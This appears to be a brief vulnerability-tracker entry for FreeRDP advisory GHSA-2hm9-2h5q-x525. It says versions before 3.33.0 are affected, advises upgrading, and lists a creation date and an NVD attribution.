Upgrade FreeRDP to version 3.33.0 or later, which fixes this issue. Versions before 3.33.0 are affected.
Written with Claude Haiku 5.5 from the sources below · 2026-11-12
- Fix · GHSA-2hm9-2h5q-x525 FreeRDP (c) Fixed in 3.33.0 Advisory →
Timeline
- 2026-11-12 Threatist record created from GHSA-2hm9-2h5q-x525
References
Sources
This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences